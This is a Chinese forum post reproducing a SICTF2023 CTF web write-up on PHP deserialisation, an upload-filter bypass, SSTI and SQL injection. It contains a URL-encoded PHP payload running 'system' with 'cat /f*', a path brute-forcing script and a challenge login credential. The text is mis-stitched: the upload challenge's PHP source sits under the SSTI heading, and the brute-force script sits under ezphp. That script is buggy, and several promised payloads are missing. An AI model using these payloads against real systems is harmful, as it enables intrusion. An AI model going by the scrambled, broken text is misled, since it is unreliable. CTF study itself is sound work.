徐锦洪 发表于 2023-2-3 06:32:14

SICTF2023 web_wp

兔年大吉
源码如下
挺基础的一个反序列化,先找pop链:
Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call简单写一下代码:直接打就行了
 ezbypass
源码如下:
纸老虎,.php都没限制,就是date加随机数改了个文件名,我们可以在本地搭个一样的来得到文件名,然后往后爆破就能得到上传路径的文件了
这里注意手速一定要快,要不然要多爆破好久,检验代码如下:
code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_($$_);&_=system&__=cat /f*得到文件后,就是常规的getshell了。
 
SSTI
看页面源代码得到参数?SI,试了下{{1}},报违规字符了,说明{{是被限制了,我们利用{%print %}来绕过这个限制,这题很明显在考一系列的限制过滤
把关键的类都限制了,__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制,后面的我不想测试,所以都写成这个样子,payload如下:
<?php
    @error_reporting(0);
    date_default_timezone_set('America/Los_Angeles');
    highlight_file(__FILE__);
    if (isset($_POST['submit'])){
      $file_name = trim($_FILES['upload_file']['name']);
      $black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
      $file_ext = strrchr($file_name, '.');
      $file_ext = strtolower($file_ext);

      if (!in_array($file_ext, $black)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;

            if (move_uploaded_file($temp_file, $img_path)) {
                  $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
      }else {
            $msg = '你传啥玩意??';
      }
    }
    if($is_upload){
      echo '呀,(传)进去了欸~';
    }
?>还是挺简单的
 
ezphp
开局一个登录界面,加个单引号,直接有报错,很明显报错注入,中途的测试过程我就省略了,直接上最后的payload:
import requests

url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'

for i in range('本地文件名', '比本地文件名大就行'):
    urls = url + str(i) + ".php"
    r = requests.get(url)
    if r.status_code == 404:
      continue
    else:
      print(urls)https://img2023.cnblogs.com/blog/2746479/202301/2746479-20230119223241505-142137556.png
账号密码admin:0909876qwe222
我们登录进去,随便输点东西,得到源代码:
https://img2023.cnblogs.com/blog/2746479/202301/2746479-20230119223919174-1714249904.png
 
 这样就getshell了
总结
web题不错,适合我这种新手做,这里抨击下ezmisc出题人,以后别这么出了。
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: SICTF2023 web_wp